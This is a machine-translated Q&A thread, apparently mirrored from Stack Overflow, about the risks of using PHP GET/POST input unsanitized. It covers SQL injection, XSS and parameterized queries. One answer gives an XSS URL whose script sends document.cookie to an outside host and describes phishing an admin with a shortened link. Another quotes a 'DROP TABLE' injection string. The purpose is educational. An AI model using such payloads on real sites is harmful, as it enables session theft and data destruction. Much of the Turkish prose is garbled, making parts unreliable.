GET ve POST doğrudan kullanımda güvenlik açıkları nelerdir?

8 Cevap php

i want to know what are the vulnerabilities while using the GET and POST variable directly. ie with out trimming and addslashes function and mysql escape string something like that.

My Question is

What more we need to take care of GET ve POST ile oynarken.

What kind of attacks are there SQL enjeksiyonu gibi?

8 Cevap

Genel olarak ve bunlarla sınırlı değildir GET ve POST değil, aynı zamanda (web uygulamaları durumunda, tanımlama bilgileri de dahil olmak üzere), sistem dışında gelen any verileri:

Hemen hemen tüm açıkları aşağı gel "kullanıcı, kendi giriş geçmek ne olursa olsun kod onlar bağlamında gibi çalıştırabilirsiniz."

  • Eğer bir SQL veritabanı başarılı olursa, onlar gibi herhangi bir SQL çalıştırabilirsiniz.
  • Eğer bir HTML belgeye geçmek, onlar (JavaScript dahil) onlar gibi herhangi bir biçimlendirme ekleyebilirsiniz
  • Eğer sistemi kabuğu onu geçmek eğer, onlar gibi herhangi bir sistem komutunu çalıştırabilirsiniz.
  • If you open a file with the name they pick, they can open any file they like. etc.

Eğer veri ile ne yaptığını düşünmek gerekir. Dünyanın herhangi bir sistem içine kirletilmiş girdisi kabul ederken yanlış gidebilir olası şeylerin bir listesini arıyorsanız bir liste üretmek için gitmiyor.

Ve bir kenara: (onunla bir hata yapmak çok kolay), addslashes (etkili değildir) unutmak mysql_real_escape unutma. Parametreli sorguları kullanın: http://stackoverflow.com/questions/60174/best-way-to-stop-sql-injection-in-php

Sosyal mühendislik küçük bir bit kolay mümkün XSS saldırısı

Kullanıcıların izlemek için oturumları kullanan basit bir PHP uygulaması olduğunu varsayalım sağlar. Ve bu yüksek yetkileri olan kullanıcıların içeriğini düzenlemek Diyelim edebilirsiniz yönetici arayüzü çeşit vardır.

Ve, bu site için bir yönetici olarak oturum varsayalım sağlar ve aşağıdaki kod parçası ile bir dosya request.php, bu uygulama içinde olduğunu

echo $GET['action'];

Ve şimdi birileri, bu keşfeder aşağıdaki url http://yourapp/request.php?action= document.location.href = 'http://foreignsite?c=' + document.cookie yapıları

Sonra biri, http://tinyurl.com/x44534 gibi bir şey onu kısaltan, tinyurl.com bu url ekler o belirterek, size bir e-posta gönderir "hey, şuna bak, bunu yararlı buluyorum Gözat".

Sen bağlantısını tıklayın, tinyurl.com, sırt uzun biri kısa url çevirir buna tarayıcınızı yönlendirir, sizin request.php mutlu, sorgudan Javascript verir tarayıcınız bunu görür, onu yürütür ve sonuç olarak, kişi kim http://foreignsite tüm çerezleri alır çalışır.

Sonra sadece onun tarayıcı için bu çerez değerleri eklemek gerekiyor, ve işte, o sitenizin yönetici arayüzü anında erişim var. O senin oturum çerezi var çünkü.

Bu gerçekten basit olduğunu olabildiğince basit XSS saldırı, muhtemelen gerçek hayatta işe değil, ama umarım sen nasıl çalıştığını temel bir fikir var nitelendirdi.

Eğer herhangi bir GET veya POST değişken almak ve etkili bazı tür bir filtreden geçirilerek olmadan, onu "çalıştırmak" ise, enjeksiyon saldırıları için kendinizi açıyoruz. SQL injection Açıkçası çok yaygın bir durumdur, ancak bir programlama dili, ya da diğer herhangi bir veritabanı veya yorumlanmış durumda bu veriler ile (eval() her türlü yapıyoruz - geri tarayıcıya HTML geçen dahil ) istemci üzerinde yorumlanabilir sonra bilgili saldırganların uygulama istenmeyen şeyler yapmak yapacak giriş verilerini zanaat olabilir.

Kişi zaten yazdığım gibi, any and all user input should be treated as malicious, bağımsız hissedebilirsiniz nasıl güvenli.

Onlar bugün olabilir ona çatlak, yarın, ya da iki yıl içinde sahip karar zaman hackerlar bu kodu karışıklık hakkında düşünmek ise geliştiriciler, bunu yazarken anda kodu güvence ve değişiklikler yapıyoruz düşünüyorum. Ne kod yazılmıştır zaman mükemmel güvenli görünüyordu olabilir bazı sonraki noktada işletilebilir olduğu ortaya çıkabilir.

Temel olarak, tüm giriş, süzüldü ve muayene dini ne olursa olsun herhangi bir zamanda kullanılan ne sterilize edilmelidir. "Alışkanlık zarar olabilir her şey için kullanılabilir" çünkü kimse kullanıcı girişi bir parça hijyen üzerine atlamak olabilir, daha sonra 11 ay satır aşağı, takımda birisi, bir değişkene atandı galiba dezenfekte verileri kullanmaya karar SQL sorgusu veya bir sistem exec çağrısı ve tüm sistem darbeler.

Ne yapılmalı:

whitelist instead of blacklisting - know what input types you are expecting and convert user data accordingly, ids are usually integers so it's safe to cast all user submitted ids as integers. - know when you are expecting small amounts of data, and when you are expecting big. Personal names are usually relatively short and don't contain numerals, "1'; DROP TABLE customers;" is not a real name and you can know that without adding slashes.

then blacklist some just in case - apply the standard escaping logic to all data that made through your whitelist, just in case

then filter and check some more - until you feel safe

Bu sadece "almak" ya da "post" biraz daha fazla uzanır. Eğer onları desteklemek için yaptık programlanmasına Onun tüm bağımlı. Sadece statik bir html sayfası değil, güvenlik açıklarının bir sürü kadar hizmet vermekteyiz. Öte yandan, size ayar ve get istekleri üzerinden veri değiştirme durumunda, güvenlik açıkları sadece şeyleri göndermek için 'get' kullanılan yerlerden verileri silerek google bot durumlarda aramak, sonsuz olabilir.

Her şey sizin için verileri kullanarak ne bağlıdır, ve güvenlik acIklarInI almak için sınırlı ya ayarlanır. Sizin girişleri sterilize.

GET ve POST verileri doğrudan kullanıcıya gönderilen veridir. Siz kullanıcı ve program arasında hiçbir çek veya doğrulama ile, çiğ olsun. Eğer verileri köken gereken formu doğrulamak için olsa bile, bir saldırganın elle o ne isterse veri ile bir istek oluşturabilir. Yani her zaman güvenilmeyen kullanıcı girişi gibi istek verileri tedavi gerekir.

Orada o isteği verileri güvenilmez unutmadan coder'da güveniyor saldırıların bir dizi, ama en iyi bilinen SQL enjeksiyon. SQL enjeksiyon kök nedeni elle dizeleri birleştirerek bir sorgu inşa ediyor, bazıları güvenilmeyen kullanıcı girişi vardır. Bu güvenilmeyen kullanıcı girişi yürütmek için veritabanı söylüyorum demektir.

SQL enjeksiyon naif çözüm girişleri doğrulamak ve daha sonra bir sorgu dizesi onları birleştirmek için, ama bu da kötü şeklidir. Sen dize güvenli yapmak için doğrulama mantığı güvenmek ve bunu yanlış varsa - ya da mantığı adamcağız - o zaman bir kez daha saldırılara maruz kalmaktadır.

Doğru çözüm, içerdiği verilerin adresinin sorgusu ayırmaktır. Hemen hemen tüm veritabanı adaptörleri Bu yaklaşımı destekleyen ve sizin nedense değilse, bu kullanım için uygun değil. En yaygın deyim (özel bir dilde) olan:

myDB.query ("select * Stuff id =?", [42]);

Bu parametrelerin yürütülmez (örneğin, bir sistemde) garanti eder. Güvenilmeyen veri ayrılmış iken sorgu dizesi, tamamen güvenilir verilerin yerleşik. En kötü ihtimalle, bu yaklaşım yanlış veri değil, bir yanlış komut neden olabilir yanlış girişine uygulanmıştır.

SQL enjeksiyon kaçınmak için bu yaklaşım istek veri saldırıları her türlü geçerlidir merkez ilkesini vurgular: isteği veri sizindir değildir ve güvenli değil. Istek veriler dahil olmak üzere herhangi bir kullanıcı girişi tutarken, her zaman sistem samimi bilgisi olan bir saldırganın kaynaklanan ediyor varsayalım. Bu paranoyak görünebilir, ama güvenli tutar.

Superglobals tüm kullanıcı ajanları tarafından manipüle edilebilir. Vb $ _SERVER, $ _POST, $ _GET,

Sen olmalıdır gerçekten watch this excellent video konuda.